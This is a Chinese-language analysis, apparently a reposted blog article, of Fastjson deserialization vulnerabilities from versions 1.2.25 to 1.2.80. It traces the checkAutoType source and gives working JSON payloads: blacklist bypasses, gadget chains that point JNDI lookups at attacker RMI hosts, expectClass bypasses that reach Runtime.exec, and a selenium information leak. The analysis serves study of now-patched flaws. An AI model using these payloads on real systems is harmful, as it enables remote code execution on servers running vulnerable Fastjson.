Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

这篇具有很好参考价值的文章主要介绍了Fastjson历史反序列漏洞分析(1.2.24-1.2.80)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

<=1.2.25fastjson反序列化注入

<=1.2.42fastjson反序列化注入

<=1.2.43fastjson反序列化注入

<=1.2.45fastjson反序列化注入

1.2.46fastjson反序列化注入

<=1.2.47fastjson反序列化注入

1.2.48fastjson反序列化注入

<=1.2.62fastjson反序列化注入

 <=1.2.66fastjson反序列化注入

<=1.2.67fastjson反序列化注入

<=1.2.68fastjson反序列化注入

<=1.2.80fastjson反序列化注入

在之前我们分析了1.2.24反序列化漏洞的TemplatesImpl利用链,如果感兴趣可以去看看 ,这里我们从1.2.25开始。

1.2.24 Fastjson反序列化TemplatesImpl利用链分析(非常详细)_糊涂是福yyyy的博客-CSDN博客

<=1.2.25fastjson反序列化注入

在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,同时增加了黑白名单。我们跟进代码可以看到在276行使用了checkAutoType。跟进checkAutoType看看里面代码如何执行。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

在checkAutoType里面会大概分成四种情况,第一种是开启autoTypeSupport,需要判断是否在白名单里面,在就直接加载类,不在就接着判断是否在黑名单里面,在黑名单里面就直接抛出异常。第二种会去缓存里面寻找类。第三种关闭autoTypeSupport,需要判断是否在黑名单里面,在黑名单里面就直接抛出异常。不在黑名单里面就接着判断是否在白名单里面,在白名单就直接加载类。第四种开启autoTypeSupport,直接加载类。其实就是说不管是开启还是关闭autoTypeSupport都会进行黑白名单过滤,只不过先后区别。

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else {
            String className = typeName.replace('$', '.');
            if (this.autoTypeSupport || expectClass != null) {
//1.开启autoTypeSupport,进行先白后黑名单过滤,存在白名单直接加载类
                int i;
                String deny;
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }

                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
//2.在mapping和deserializers缓存里面寻找类
            }

            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
//3.autoTypeSupport关闭情况下,先黑名单在白名单过滤,在白名单里面就加载类
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (this.autoTypeSupport || expectClass != null) {
//4.开启autoTypeSupport,直接加载类。
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }

                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }

                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

下面是黑名单,而我们的利用链com.sun.rowset.JdbcRowSetImpl是在这个黑名单里面的。我们需要对我们的playload进行简单的改变才能绕过黑名单。

"bsh"
"org.apache.commons.collections.functors"
"javax.xml"
"org.apache.commons.fileupload"
"com.sun."
"org.apache.tomcat"
"org.springframework"
"java.lang.Thread"
"org.codehaus.groovy.runtime"
"org.apache.commons.beanutils"
"org.apache.commons.collections.Transformer"
"org.apache.wicket.util"
"java.rmi"
"java.net.Socket"
"com.mchange"
"org.jboss"
"org.hibernate"
"org.mozilla.javascript"
"org.apache.myfaces.context.servlet"
"org.apache.bcel"
"org.apache.commons.collections4.comparators"
"org.python.core"

1.2.25Fastjson默认autoTypeSupport是不开启的,我们可以通过代码手动开启autoTypeSupport。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

构造的playload如下,使用playload1。


String str4={\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";//playload 1
String str4={\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";//playload 2

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)因为我们手动开启autoTypeSupport所以该playload在checkAutoType方法里面会走第一种情况,并且会通过黑名单检测,然后会在第四种情况里面直接加载类,但是我们的类名Lcom.sun.rowset.JdbcRowSetImpl;是如何变成com.sun.rowset.JdbcRowSetImpl。这里我们需要进入到loadclass里面看看。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

在loadclass方法里面会进行判断,第一种情况判断如果传入进来的类名第一个字符是[,那么会取出后面的值进行后面的代码执行。第二种情况判断如果我们的类名以L开头且以;结尾,那么就会取出其中间作为新的类名。我们的playload是满足第二种情况的。所以我们的恶意类com.sun.rowset.JdbcRowSetImpl就可以加载了。如果是使用playload2 就会满足第一种情况,也能成功加载恶意类。

上述方法条件是必须开启autoTypeSupport,不然会导致失败。

<=1.2.42fastjson反序列化注入

需要开启autoTypeSupport

在1.2.42版本中,黑白名单采用了hash值,如果你传进来的的类名头和尾是L;,那么会对你进行一次去头去尾,再进行黑白名单校验,有开发人员破解处理黑白名单,工具在这个链接。GitHub - LeadroyaL/fastjson-blacklist

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 所以我们构造如下playload:

String str4="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";

我们双写LL;;这样我们即使去掉一次L;我们还剩一组就可以绕过黑名单检测,然后在loadclass方法里面提取出L;中间的值加载对应的类。

<=1.2.43fastjson反序列化注入

需要开启autoTypeSupport

在1.2.43版本中在checkAutoType方法里面对连续出现两个类描述符直接抛异常,所以想要通过L;来绕过黑名单是不可能的。这个时候我们需要想其他办法来绕过黑名单检测,这里就得提到我们在上面分析loadclass方法,可以看到在loadclass方法里面当我们得类名是以[开头,我们是取[后面的值进行类加载。但是我们在构造playload的时候却多了[{。有的同学可能对于playload为何那样构造不是很明白。那我们一起分析以下。

首先我们按照常规思路构造如下playload:

String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";

当我们运行代码时候会报错,并且会提示你在42这个位置缺少一个[,报错得位置是com.alibaba.fastjson.parser.DefaultJSONParser.parseArray。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 上面playload会绕过checkAutoType方法里面的黑名单,所以我们执行完checkAutoType方法会进入deserialze方法里面,在151行执行parseArray方法,进入其中。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 该方法里面会有一个token得检测,如果不是等于14就会抛出异常,我们的token是16。那token是在那里设置为16呢。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

回溯代码发现在执行完checkAutoType方法后调用nextToken()方法,传入的参数是16。我们进入看看是如何设置token。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

因为传入得参数是16所以直接来到309行,因为我们取完类名,现在当前的jason数据是逗号,所以满足条件将token设置为16。当我们在逗号前面加一个[,该值不满足case16里面所有条件,但是满住337行if条件,所以执行nextToken()方法,参数为空。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 该方法会将当前值和各种值进行比较,当当前值是 [ 的时候就将token设置为14。所以我们需要在playload里面额外加一个[。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

当我们playload如下的时候又会出现报错,报错信息提示我们还需加一个{,报错位置在JavaBeanDeserializer.deserialze。

String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"rmi://x1x.xx.xx2.xx3:9999/Exp\", \"autoCommit\":true}";

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

因为我们添加了[所以顺利通过parseArray方法里面的token是否等于14的检测,这时候我们在添加{,代码会顺利执行到parseArray方法,在该方法的670行进行一次token值得变更,当当前值是 { tonken变成12。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

接着执行代码进入714行deserialze方法里面,该方法会对token值进行判断。Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

在395行可以看到判断token是否不等于12且不等于16,当我们加上{,我们的token值是12的,所以该条件就不满足。就会走else代码,往下执行就会触发漏洞。Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

如果我们不添加 { ,同样在parseArray方法里面的670行进行一次token值得变更,因为当前值是逗号就会执行338行nextToken()方法。token值变成16。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

我们parseArray方法里面拿到token返回值16,执行681行满足条件,又再次设置token值。这次token返回值是4。这个大家可以自己进入看看代码如何执行的。然后我们就和上面一样进入714行deserialze方法里面。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

这里和上面情况不一样token值不等于12也不等于16,所以进入if语句里面。会进行以下判断,判断输入值是否是空值等等,最后来到433行抛出异常。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 所以我们在1.2.43 fastjson版本触发反序列化漏洞,需要构造如下形式的playload:

String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";

<=1.2.45fastjson反序列化注入

需要开启autoTypeSupport

在1.2.45版本中修复了1.2.44版本漏洞,在checkAutoType方法里面添加对[字符的检测。不过在该版本中发现新的利用链,该利用链不在黑名单里面。但是需要目标服务器存在mybatis包,且版本未3.x.x至小于3.5.0。

需要我们在pom.xml里面引入mybatis包

        <dependency>
            <groupId>org.mybatis</groupId>
            <artifactId>mybatis</artifactId>
            <version>3.3.0</version>
        </dependency>

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 构造如下playload:

 String str4="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xx.xxx.xxx.xx:9999/Exp\"}}";

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

该利用链主要是调用了setProperties方法里面的lookup方法。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

1.2.46fastjson反序列化注入

该版本将org.apache.ibatis.datasource.jndi.JndiDataSourceFactory加入黑名单,修复了1.2.45版本的漏洞。

<=1.2.47fastjson反序列化注入

不需要开启autoTypeSupport

在1.2.47版本中,通过利用类缓存机制(通过java.lang.Class类提前带入恶意类并缓存到 TypeUtils.mappings 中),可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

我们需要构造以下playload。

String str4="{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://1xx.56.xx.xxx:9999/Exp\",\"autoCommit\":true}}}";

第一次的时候我们取出来的key值是a,不是@type,所以我们执行到488行,第二次调用parseObject方法,取出@type进入到checkAutoType。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

因为没有开启autoTypeSupport,会先去mapping缓存寻找java.lang.Class,没有找到。再去deserializers缓存寻找,找到了赋值给clazz,返回clazz。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 拿到clazz,进入到deserializer方法里面,在deserializer方法里面调用parse方法。在这之前需要zai 223行判断健是否是val。不然会抛出异常。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

执行String stringLiteral = lexer.stringVal()代码,将健是val的值赋值给stringLiteral变量。由我们的playload可知我们的val健对应的值就是我们的恶意类com.sun.rowset.JdbcRowSetImpl。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 拿到我们的恶意类回到deserializer方法里面,将值再赋值给strVal变量。Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

接下来就是判断clazz的类型,clazz是一个class对象。执行loadClass方法加载类。而传进去的类名是strVal,也就是我们的恶意类。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

Fastjson历史反序列漏洞分析(1.2.24-1.2.80) 程序通过contextClassLoader.loadClass(className);方法从字符串类型className变量("com.sun.rowset.JdbcRowSetImpl")获取到com.sun.rowset.JdbcRowSetImpl类对象,并赋值给clazz变量。此时的className、clazz变量形式如下图,接着将className、clazz键值对加入mappings合集

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

  在我们的第一个json字符串解析完成后,程序随后会解析我们第二个json字符串,解析过程与第一个完全一样,当取到第二个@type的时候会进入checkAutoType方法中从mapping缓存中拿到我们的com.sun.rowset.JdbcRowSetImpl类对象,就会触发漏洞。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

1.2.48fastjson反序列化注入

该版本修复了1.2.47漏洞点,在执行loadclass方法时候第三个参数cache的值是false。当其值为false就不会执行mappings.put(className, clazz),我们的恶意类对象就不会添加到mapping缓冲里面。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

<=1.2.62fastjson反序列化注入

需要开启autoTypeSupport

1.2.62发现新的利用链,该利用链不在黑名单里面,该利用链需要目标服务器存在xbean-reflect包

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

构造如下playload 

String str4 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://xx.xx.x.xx:5555/Exp\"}"

该利用链主要调用了setAsText方法,该方法里面调用了lookup方法。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 <=1.2.66fastjson反序列化注入

需要开启autoTypeSupport

1.2.62发现三个可用的利用链,这些利用链都不在黑名单里面。

  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
  • br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包

我们以org.apache.shiro.jndi.JndiObjectFactory类为例,pom.xml引入依赖包

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 构造如下playload:

String str4 = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"rmi://x.x.x.x:5555/Exp\"], \"Realms\":[\"\"]}";

该利用链先调用了setJndiNames方法,对jndiNames进行赋值,在调用getRealms方法里面的lookup方法。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 br.com.anteros.dbcp.AnterosDBCPConfig类POC:

String str4 = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"rmi://x.x.x.x:5555/Exp\"}";
String str4 = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"rmi://x.x.x.x:5555/Exp\"}";

pom.xml引入依赖包

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

        <dependency>
            <groupId>br.com.anteros</groupId>
            <artifactId>Anteros-Core</artifactId>
            <version>1.2.6</version>
        </dependency>
        <dependency>
            <groupId>br.com.anteros</groupId>
            <artifactId>Anteros-DBCP</artifactId>
            <version>1.0.1</version>
        </dependency>

该利用链调用healthCheckRegistry方法里面的getObjectOrPerformJndiLookup方法里面的lookup方法。另外一个参数和healthCheckRegistry是一样的。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 ​​Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类POC:

 String str4 = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"rmi://x.x.x.x:5555/Exp\"}}";

pom.xml引入依赖包

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

        <dependency>
            <groupId>org.apache.ibatis</groupId>
            <artifactId>ibatis-sqlmap</artifactId>
            <version>2.3.4.726</version>
        </dependency>
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>

 该利用链调用setProperties方法里面的lookup方法。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

<=1.2.67fastjson反序列化注入

需要开启autoTypeSupport

1.2.62发现两个可用的利用链,这些利用链都不在黑名单里面。

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:

String str4 = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"rmi://x.x.x.x:5555/Exp\",\"tm\": {\"$ref\":\"$.tm\"}}";

该利用链需要ignite-core、ignite-jta和jta依赖,pom.xml引入以下依赖包

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC中后面那段的{"$ref":"$.tm"},实际上就是基于路径的引用,相当于是调用root.getTm()函数,即循环引用来调用了tm字段的getter方法了。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 org.apache.shiro.jndi.JndiObjectFactory类PoC:

String str4 ="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"rmi://x.x.x.x:5555/Exp\",\"instance\":{\"$ref\":\"$.instance\"}}";

该利用链需要shiro-core和slf4j-api依赖,pom.xml引入以下依赖包

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

<=1.2.68fastjson反序列化注入

不需要开启autoTypeSupport

1.2.68修复了1.2.67反序列化漏洞,该漏洞和之前1.2.47相似点就是不需要开启autoType也能导致反序列漏洞产生,但这个漏洞不能做到1.2.47那样通用,还是有一些限制条件的。首先我们先建一个haha.java

import java.io.IOException;

public class haha implements AutoCloseable{

    public haha(String cmd){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
    public void close() throws Exception {

    }
}

具体poc如下,下面会讲述为什么这么构建。

String str4 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"haha\",\"cmd\":\"calc\"}";

因为在1.2.68版本中我们在不开启autoType,绕过checkAutoType的安全检测,是因为我们利用它的第二个参数expectClass。我们跟进代码看看如何绕过的。首先我们进入第一次checkAutoType,我们传入的类是java.lang.AutoCloseable,这个类要求是能在缓存里面找到,且不在黑名单里面。这个我们就不调试了,和我们1.2.47第一次调试差不多。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

我们执行代码来到377行,进入其中

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

该方法里面会继续向后取值,取到@type会再次执行一次checkAutoType方法,这里我们需要进行看一下。且这个时候第二个参数expectClass的值是interface java.lang.AutoCloseable。这次expectClass参数不为空哦。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

首先会判断expectClass参数是否为空,不为空是否不等于Object.classSerializable.classCloneable.classCloseable.classEventListener.class、Iterable.class、Collection.class,如果条件成立将expectClassFlag设置为true,显然该值为true。后面就是对于我们自定义的类haha进行黑白名单校验,以及缓存寻找。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 最主要是这里,如果if语句里面有一个条件满足就会调用loadClass方法,从上文知第三条件是true。Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

​​​​​​继续执行代码在1124行会判断expectClass该参数是否不为空,class haha是否是interface java.lang.AutoCloseable的子类。如果成立就将haha添加到缓存里面去。这样后续就和1.2.47一样的了。Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 解答POC:

我们主要是利用expectClass这个参数,

第一点:这个参数需要在缓存里面能找到,不然你第一个检测返回值就是空。

第二点:这个类的子类需要有漏洞点,不然你在反序列过程不会触发漏洞。但是在这里我们为了更好演示,我们的子类是自己构造的。现实中这个子类需要自己找,所以利用面没有1.2.47广。

第三点:为啥我们用java.lang.AutoCloseable这个类,是因为它在缓存中,AutoCloseable(即其子类对象)持有文件句柄或者socket句柄,所以它是很多类型的父接口(比如xxxStream、xxxChannel、xxxConnection)。因此即便无法找到RCE gadget,也可以找到实现文件读取或写入的gadget,从而可以根据目标环境实际情况串出RCE。具体playload参考下面连接。

参考:Fastjson反序列化高危漏洞系列-part2:1.2.68反序列化漏洞及利用链分析 (上)_n0body-mole的博客-CSDN博客_fastjson1.2.68反序列化漏洞
那除了我们在734 行使用expectClass这个参数。我们还有一个地方也使用,不过它利用价值不大。我们会利用Throwable类。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。

我们可以依赖selenium导致信息泄露。

首先导入selenium依赖:

        <dependency>
            <groupId>org.seleniumhq.selenium</groupId>
            <artifactId>selenium-api</artifactId>
            <version>4.1.1</version>
        </dependency>

POC如下:

String str4 = "{\"x\": {\"@type\":\"java.lang.Exception\", \"@type\":\"org.openqa.selenium.WebDriverException\"}, \"y\":{\"$ref\":\"$x.systemInformation\"}}";

其中,org.openqa.selenium.WebDriverException类的getMessage()方法和getSystemInformation()方法都能获取一些系统信息,比如:IP地址、主机名、系统架构、系统名称、系统版本、JDK版本、selenium webdriver版本。另外,还可通过getStackTrace()来获取函数调用栈,从而获悉使用了什么框架或组件。

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

<=1.2.80fastjson反序列化注入

不需要开启autoTypeSupport

1.2.80和1.2.68的原理是一样的只不过利用了Throwable类,之前1.2.68使用JavaBeanDeserializer序列化器,1.2.80使用ThrowableDeserializer反序列化器,前者是默认反序列化器,后者是针对异常类对象的反序列化器。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。

我们构建恶意类


import java.io.IOException;

public class CalcException extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

POC:

String str4 = "{\"@type\":\"java.lang.Exception\",\"@type\":\"CalcException\",\"name\":\"calc\"}";

这个就不去调试了。要注意的是,由于java.lang.Throwable这个类不在缓存集合TypeUtils#mappings中,所以未开启autoType的情况下,这个类是不能通过ParserConfig#checkAutoType()的校验的。这里在JSON字符串中使用它的一个子类java.lang.Exception,因为java.lang.Exception是在缓存集合TypeUtils#mappigns中的。

总结:除了1.2.47,1.2.68以及1.2.80出现的漏洞不需要开启autoTypeSupport,其他版本都需要开启autoTypeSupport。当我们在使用JNDI+RMI或者JNDI+LdAP,需要注意JDK版本

Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

 文章来源地址https://www.toymoban.com/news/detail-420186.html

到了这里,关于Fastjson历史反序列漏洞分析(1.2.24-1.2.80)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Fastjson反序列化漏洞(1.2.24 RCE)

    目录 (一)Fastjson介绍 1、认识Fastjson 1.1 序列化 1.2  反序列化 1.3 @type 自省 Autotype (二)漏洞原理 1、比较常用的攻击类 1.1  com.sun.rowset.JdbcRowSetImpl 1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp (三)1.2.24 RCE复现 1、vulnhub启动 注意:Linux配置JRE版本 2、攻击机监听(

    2024年02月07日
    浏览(38)
  • Apache Apisix网关系统历史漏洞复现分析

    Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。 开源项目地址:https://github.com/apache/apisix; 官方文档地址:https://apisix.apache.org/zh/docs/apisix/getting-started/README/; 你可以把 Apache

    2024年02月19日
    浏览(32)
  • java反序列化漏洞分析

    Java反序列化漏洞(Java Deserialization Vulnerabilities)是一种常见的安全漏洞,其攻击方式是利用Java中的序列化和反序列化机制,通过在序列化数据中插入恶意代码,导致反序列化过程中执行恶意代码。本文将介绍Java反序列化漏洞的原理、攻击方式和防范措施。 一、Java序列化和

    2024年02月13日
    浏览(38)
  • XStream反序列化漏洞分析

    把之前看的XStream反序列化漏洞分析过程做个笔记,从前期JAVA的代理模式动态代理基础知识到XStream解析流程都有记录。 代理是设计模式中的一种,代理类为委托类提供消息预处理、消息转发、事后消息处理等功能,JAVA中代理分为三种角色:代理类、委托类、接口。 以上的定

    2024年02月13日
    浏览(33)
  • 利用Linux目录结构特性引发的解析漏洞分析

    本文通过对Linux目录结构的特性和解析漏洞的分析,结合源码审计的过程,探讨了SESSION值的设置,正则表达式的匹配以及文件写入等技术,帮助读者深入理解此类漏洞的产生、原理和防范方法。

    2024年02月06日
    浏览(37)
  • 【新】通达OA前台反序列化漏洞分析

    0x01 前言 注:本文仅以安全研究为目的,分享对该漏洞的挖掘过程,文中涉及的所有漏洞均已报送给国家单位,请勿用做非法用途。 通达OA作为历史上出现漏洞较多的OA,在经过多轮的迭代之后已经很少前台的RCE漏洞了。一般来说通达OA是通过auth.inc.php文件来进行鉴权,如图

    2024年02月14日
    浏览(36)
  • 网络安全之反序列化漏洞分析

    FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过 toJSONString 和 parseObject/parse 来实现序列化和反序列化。 使用 对于序列化的方法 toJSONString() 有多个重载形式。 SerializeFeature : 通过设置

    2024年02月08日
    浏览(30)
  • Java反序列化漏洞-URLDNS链分析

    目录 一、前置知识 反射 二、分析 1. URL 2. HashMap 3. 解决一些问题 反射修改字段值 三、POC 四、利用链 菜鸟教程 Java 序列化 Java安全-反射 URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方,传入序列化后的URLDNS利用链,如果目标主机解析了这个URL地址,那么

    2024年02月04日
    浏览(40)
  • Laravel 9.1.8 反序列化漏洞分析及复现

    反序列化漏洞是如今很常见的漏洞类型,有很多分类,也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞,进行了一个分析并复现。 Laravel是一套简洁、优雅的PHP Web开发框架。 近日,Laravel 被披露存在多个安全漏洞,可允许通过反序列化POP链实现远程代码执行

    2024年02月06日
    浏览(43)
  • Java反序列化漏洞-CC1利用链分析

    目录 一、前置知识 1. 反射 2. Commons Collections是什么 3. 环境准备 二、分析利用链 1. Transformer 2. InvokeTransformer 执行命令 3. ConstantTransformer 4. ChainedTransformer 执行命令 5. TransformedMap 6. AbstractInputCheckedMapDecorator 7. AnnotationInvocationHandler 三、编写POC 1. ChainedTransformer 2. decorate 3. Annotatio

    2024年02月04日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包